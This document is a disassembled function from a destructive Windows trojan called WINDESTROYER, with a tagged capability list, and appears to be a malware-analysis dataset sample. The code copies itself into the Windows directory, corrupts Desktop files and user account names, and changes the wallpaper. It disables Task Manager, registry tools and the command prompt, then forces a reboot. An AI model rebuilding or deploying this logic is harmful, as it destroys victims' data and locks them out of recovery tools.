Function at 0x40190f
Capabilities:
Copy file
Create process on windows
Create thread
Disable system features via registry on windows
List user accounts
Query environment variable
Set registry value
Write and execute a file
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x794
call sym.___main
mov dword [esp], 0
call sym._time
mov dword [esp], eax
call sym._srand
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x120]
mov dword [esp + 4], eax
mov dword [esp], str.WINDIR
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x224]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x120]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sWINDESTROYER.EXE
lea eax, [ebp - 0x328]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x328]
mov dword [esp], eax
call sym._FileExists
test eax, eax
je 0x402025
mov dword [esp + 0xc], 0x24
mov dword [esp + 8], str.WINDESTROYER
mov dword [esp + 4], str.This_trojan_is_not_a_joke__continue_
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
cmp eax, 7
jne 0x4019f0
mov eax, 0
jmp 0x40203b
mov dword [esp + 8], 0
lea eax, [ebp - 0x328]
mov dword [esp + 4], eax
lea eax, [ebp - 0x224]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x760]
mov dword [esp + 4], eax
mov dword [esp], str.USERPROFILE
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x760]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sDesktop
lea eax, [ebp - 0x65c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x65c]
mov dword [esp], eax
call sym._CorruptFilesInDirectory_4
sub esp, 4
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x32c], 0
mov dword [ebp - 0x330], 0
mov dword [ebp - 0x334], 0
mov dword [ebp - 0x338], 0
lea eax, [ebp - 0x338]
mov dword [esp + 0x1c], eax
lea eax, [ebp - 0x330]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x32c]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x334]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._NetUserEnum_32
sub esp, 0x20
mov dword [ebp - 0xc], 0
jmp 0x401b6b
mov edx, dword [ebp - 0x334]
mov eax, dword [ebp - 0xc]
shl eax, 2
add eax, edx
mov eax, dword [eax]
mov dword [esp], eax
call sym._corruptUsername
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401b67
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x350], eax
mov edx, dword [ebp - 0x334]
mov eax, dword [ebp - 0xc]
shl eax, 2
add eax, edx
mov eax, dword [eax]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x350]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._NetUserSetInfo_20
sub esp, 0x14
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._free
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x32c]
cmp dword [ebp - 0xc], eax
jb 0x401af5
mov eax, dword [ebp - 0x334]
test eax, eax
je 0x401b9f
mov eax, dword [ebp - 0x334]
mov dword [esp], eax
call sym._NetApiBufferFree_4
sub esp, 4
mov dword [ebp - 0x334], 0
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x558]
mov dword [esp + 4], eax
mov dword [esp], str.TEMP
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x558]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_bg.bmp
lea eax, [ebp - 0x454]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x40512f
lea eax, [ebp - 0x454]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x7a
mov dword [esp + 4], 1
mov dword [esp], 0x404020
call sym._fwrite
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fclose
lea eax, [ebp - 0x33c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.Control_PanelDesktop
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
lea eax, [ebp - 0x454]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenA]
call eax
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x33c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x454]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Wallpaper
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
lea eax, [ebp - 0x454]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenA]
call eax
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x33c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x454]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.ConvertedWallpaper
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
lea eax, [ebp - 0x454]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenA]
call eax
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x33c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x454]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.OriginalWallpaper
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov dword [esp], 0x405177
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenA]
call eax
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x33c]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0x405177
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.WallpaperStyle
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._CorruptMsgBox_0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp], 0x7d0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0x33c]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [ebp - 0x340], 1
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x344]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
lea eax, [ebp - 0x344]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x344]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x340]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableTaskMgr
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x344]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x340]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableRegistryTools
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x344]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x348]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREPoliciesMicrosoftWindows
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
mov eax, dword [ebp - 0x348]
mov dword [esp + 0x20], 0
lea edx, [ebp - 0x34c]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.System
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
mov eax, dword [ebp - 0x34c]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x340]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableCMD
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov dword [esp], 0x12c
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 4], 0
mov dword [esp], str.shutdown.exe__r__t_0
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret